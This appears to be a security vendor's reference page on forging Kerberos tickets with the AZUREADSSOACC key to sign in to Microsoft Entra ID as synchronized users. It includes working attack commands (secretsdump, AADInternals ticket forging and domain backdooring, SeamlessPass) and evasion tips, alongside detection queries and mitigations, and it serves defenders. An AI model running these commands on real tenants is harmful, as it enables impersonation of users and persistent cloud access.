1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Seamless SSO Silver Ticket (AZUREADSSOACC)

Also known as: AZUREADSSOACC silver ticket, Desktop SSO abuse, Seamless SSO backdoor, SeamlessPass

With the Kerberos key of the AZUREADSSOACC computer account an attacker forges a service ticket for any synchronized user and trades it at Microsoft Entra ID for cloud tokens, without that user's password.

Platform
Microsoft Entra ID
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Tier 0 or tenant admin
Directory replication rights or Domain Admin in a forest where Seamless SSO is enabled, to read the AZUREADSSOACC key. For the backdoor variant: Global Administrator or Hybrid Identity Administrator.
What the attacker gains
Cloud sign-in as any user synchronized from the forest, wherever the tenant accepts a single factor.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1558.002, T1556.007, T1078.004.

How it works

Seamless single sign-on (also called Desktop SSO) lets a user on a domain-joined device sign in to Microsoft Entra ID without typing a password. Enabling it creates a computer account named AZUREADSSOACC in each synchronized forest and shares that account's Kerberos decryption key with Entra ID.

The legitimate flow uses ordinary Kerberos:

  1. The browser is sent to the Entra autologon endpoint and is challenged for integrated authentication.
  2. Windows asks a domain controller for a service ticket for the service principal name of the SSO account (HTTP/autologon.microsoftazuread-sso.com). The ticket is encrypted with the AZUREADSSOACC key.
  3. The browser forwards the ticket to Entra ID.
  4. Entra ID decrypts the ticket with its copy of the key, reads the user's SID from it, finds the synchronized user with that onPremisesSecurityIdentifier and continues the sign-in.

Step 4 is the weakness. Entra ID has no domain controller to ask; possession of a ticket that decrypts with the shared key is the whole proof. That makes the AZUREADSSOACC key a credential for the cloud, and a ticket made with it is a silver ticket whose target service is Entra ID itself. The research behind the public tooling found that Entra ID only uses the user's SID from the ticket, so the forger needs nothing else about the victim.

Variants:

  • Forged ticket from a stolen key. The attacker reads the account's NT hash or AES key (by directory replication, or from a domain controller they control) and forges tickets for any synchronized user.
  • Real ticket from a stolen user credential. An attacker who holds a user's TGT, NT hash or AES key requests a genuine service ticket for the SSO account and exchanges it for cloud tokens. No cleartext password is needed. This is a pass-the-ticket path into the cloud for that one user.
  • Backdoor from the cloud side. A Global Administrator or Hybrid Identity Administrator enables Desktop SSO for a domain with a key they choose. Entra ID then accepts tickets made with that key even if the forest never deployed Seamless SSO.

Seamless SSO works with password hash synchronization and pass-through authentication. It is not used with AD FS.

Prerequisites

  • Seamless SSO is enabled for the user's domain in the tenant (or the attacker can enable it, for the backdoor variant).
  • For forging: the NT hash or AES key of AZUREADSSOACC$ in the user's forest. Reading it takes Replicate Directory Changes and Replicate Directory Changes All, Domain Admin, or code execution on a domain controller.
  • The victim's on-premises SID. Any domain user can read SIDs from Active Directory.
  • The victim is a synchronized user. A cloud-only account has no on-premises SID to match.
  • A sign-in that the tenant allows with one factor, or a separate way to satisfy MFA.
  • Outbound HTTPS to Microsoft Entra ID. No line of sight to a domain controller is needed once the key is known.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the AZUREADSSOACC key

With replication rights, from Linux:

secretsdump.py 'corp.example.com/alice@192.0.2.10' -just-dc-user 'AZUREADSSOACC$'

AADInternals has a dedicated function that uses the directory replication service:

Import-Module AADInternals
$cred = Get-Credential
$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server "DC01.corp.example.com"

See DCSync for the other tools that read a single account's keys.

2. Get the victim's SID

Get-ADUser -Identity alice -Properties objectSid | Select-Object UserPrincipalName, SID

3. Forge the ticket and get cloud tokens

SeamlessPass does both steps in one command and needs no contact with a domain controller:

pip install seamlesspass

seamlesspass -tenant corp.example.com \
    -adssoacc-ntlm 00000000000000000000000000000000 \
    -user-sid S-1-5-21-1111111111-2222222222-3333333333-1104

By default it asks for a token for https://graph.windows.net; -resource and -client-id select another resource and client application, and -adssoacc-aes takes an AES key instead of the NT hash.

With AADInternals, forge the ticket and present it when requesting a token:

# The ticket is valid for a few minutes only
$kt = New-AADIntKerberosTicket -SidString "S-1-5-21-1111111111-2222222222-3333333333-1104" -Hash "00000000000000000000000000000000"

# Exchange it for an access token, here for Exchange Online
$at = Get-AADIntAccessTokenForEXO -KerberosTicket $kt -Domain corp.example.com

A ticket forged with other tools (for example Impacket's ticketer, saved to a ccache) can be converted with krbsso.py from ROADtools hybrid into the SPNEGO blob that the Seamless SSO HTTP flow expects:

python krbsso.py alice.ccache

Variant: a real ticket from a user's credential

With a compromised user's hash or TGT, SeamlessPass requests the service ticket from a domain controller and exchanges it:

seamlesspass -tenant corp.example.com -domain corp.example.com -dc DC01.corp.example.com \
    -username alice -ntlm 00000000000000000000000000000000

seamlesspass -tenant corp.example.com -domain corp.example.com -dc DC01.corp.example.com \
    -tgt alice.ccache

Variant: backdoor a domain from the cloud

With Global Administrator, AADInternals enables Desktop SSO and sets a key of the attacker's choice for a domain:

$pt = Get-AADIntAccessTokenForPTA

Set-AADIntDesktopSSOEnabled -AccessToken $pt -Enable $true
Set-AADIntDesktopSSO -AccessToken $pt -DomainName corp.example.com -Password "ChosenPassw0rd!" -Enable $true

# Later: forge with the chosen password instead of a stolen hash
$kt = New-AADIntKerberosTicket -SidString "S-1-5-21-1111111111-2222222222-3333333333-1104" -Password "ChosenPassw0rd!"

On a domain that already uses Seamless SSO this replaces the key Entra ID holds, which breaks the feature for real users until the forest key is rolled over.

Impact

The attacker signs in to Microsoft 365 and other Entra-protected applications as any synchronized user of the forest: mail, files, Teams, the Azure portal, and anything the user's roles allow. The access does not depend on the user's password, so password resets do not end it; only a key rollover does. The reach is bounded by Conditional Access: where MFA or a compliant device is required for the application, the forged ticket only gets past the first factor. Synchronized accounts with directory roles and applications excluded from MFA are the high-value targets.

OPSEC and artifacts

  • No domain controller involvement. Forging happens offline. No TGT or service ticket request reaches a KDC, so there is no event 4769 for the forged ticket. The successful sign-in in the Microsoft Entra sign-in log is the only witness.
  • Reading the key is the loud part. Replicating the account's secrets writes event 4662 with the replication rights on the domain controller, from a host that is not a domain controller. Operators who already hold the krbtgt or a DC backup avoid even that.
  • Sign-in from outside. The legitimate flow only happens from domain-joined devices inside the corporate network. A forged ticket is usually presented from an attacker address and with the default client of the tool; SeamlessPass has -user-agent and -proxy options to blend in.
  • Genuine tickets leave genuine events. The stolen-credential variant requests a real service ticket, so event 4769 with service name AZUREADSSOACC$ is written, with the address of the machine that asked.
  • The backdoor variant is audited in the cloud. Enabling the feature writes Enable Desktop Sso and Enable Desktop Sso for a specific domain to the audit log.
  • Changing the account instead of reading it. An attacker who resets the account's password, changes its encryption types or adds delegation writes event 4742.

Detection

  • Cloud sign-in without a matching ticket request. For a successful Seamless SSO sign-in, look for a 4769 with service name AZUREADSSOACC$ for the same user shortly before it, on any domain controller of the forest. A sign-in with none, when DC auditing covers the period, is the signature of a forged ticket. Record both facts: the tenant success and the absent DC record.
  • Seamless SSO from the wrong place. Seamless SSO sign-ins from addresses outside the corporate egress ranges, or for accounts that never use domain-joined devices (service accounts, administrators with separate workstations), deserve review.
  • Ticket requests from unusual clients. Event 4769 for AZUREADSSOACC$ from servers, from one address for many users, or for privileged accounts points to the stolen-credential variant.
  • Key theft. The DCSync rules catch replication by an account that is not a domain controller.
  • Account changes. The AZUREADSSOACC change rule reads event 4742; the planned rollover should be the only routine change.
  • Feature enabled. The hybrid identity backdoor rules alert on the Desktop SSO audit events.
  • Failed attempts. Sign-in error codes 81002, 81003, 81008 and 81009 (unable to validate the user's Kerberos ticket) and 81010 (ticket expired or invalid) appear when a ticket was made with an old key or a wrong clock.
// Who requests tickets for the Seamless SSO account, and from where
SecurityEvent
| where EventID == 4769 and Status == "0x0"
| where ServiceName =~ "AZUREADSSOACC$"
| summarize Requests = count(), Users = dcount(TargetUserName), Sample = make_set(TargetUserName, 10)
    by IpAddress, bin(TimeGenerated, 1h)
| where Users > 3
| order by Users desc

A workstation requests these tickets for the one user who is signed in to it. Terminal servers and shared address translation raise the count legitimately, so baseline them.

Mitigation

  • Roll over the key at least every 30 days, as Microsoft recommends, and immediately after any suspected domain compromise. The Entra Connect hardening guide has the procedure:
Set-Location "$env:ProgramFiles\Microsoft Azure Active Directory Connect"
Import-Module "$env:ProgramFiles\Microsoft Azure AD Sync\Bin\ADSync\ADSync.psd1"
Import-Module .\AzureADSSO.psd1

New-AzureADSSOAuthenticationContext
Get-AzureADSSOStatus | ConvertFrom-Json

$creds = Get-Credential
Update-AzureADSSOForest -OnPremCredentials $creds

Run Update-AzureADSSOForest once per forest. A second run stops the feature until users' tickets are reissued.

  • Turn the feature off if you do not need it. Devices that are Microsoft Entra joined or hybrid joined get single sign-on from the primary refresh token, which takes precedence over Seamless SSO. Disable it with Enable-AzureADSSO -Enable $false, remove the forests with Disable-AzureADSSOForest, and delete the computer account.
  • Protect the account. Keep it in an OU that only Domain Admins manage, with no Kerberos delegation and no delegated rights for other principals. Use AES encryption types after a rollover; the RC4 to AES guide covers the wider change.
  • Limit replication rights. Every principal that can replicate directory secrets can read this key. Review them as you would for krbtgt.
  • Require MFA through Conditional Access for all users and applications, without location exclusions for the corporate network, so the ticket alone never completes a sign-in.
  • Do not synchronize privileged accounts. Cloud-only administrators have no SID to forge a ticket for.
  • Remove stale AZUREADSSOACC accounts in forests that are no longer in the Seamless SSO scope, and confirm the tenant's domain list with Get-AzureADSSOStatus.

Detection rules for this attack

Log events to collect

FAQ

What is the AZUREADSSOACC account?

It is a computer account that Microsoft Entra Connect creates in each Active Directory forest where Seamless SSO is enabled. It stands for Microsoft Entra ID inside the forest: clients request Kerberos service tickets for it, and Entra ID decrypts them with a copy of the account's key. Whoever knows that key can make tickets Entra ID accepts.

Does a Seamless SSO silver ticket bypass MFA?

No. The ticket replaces the password step only. Conditional Access is evaluated afterwards and can require MFA or block the sign-in. The attack pays off where a single factor is enough: accounts and applications excluded from MFA policies, trusted locations, and legacy flows.

Why is there no event 4769 on the domain controller?

A forged service ticket is built offline with the account's key, so no domain controller issues it and none logs a ticket request. The only record of the sign-in is in the Microsoft Entra sign-in log. A missing 4769 rules out the legitimate path, not the attack.

How often should the Seamless SSO key be rolled over?

Microsoft recommends at least every 30 days with Update-AzureADSSOForest, run once per forest. The rollover changes the account's password in Active Directory and updates the key in Microsoft Entra ID. After a suspected compromise roll the key immediately, because a stolen key works until it is replaced.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.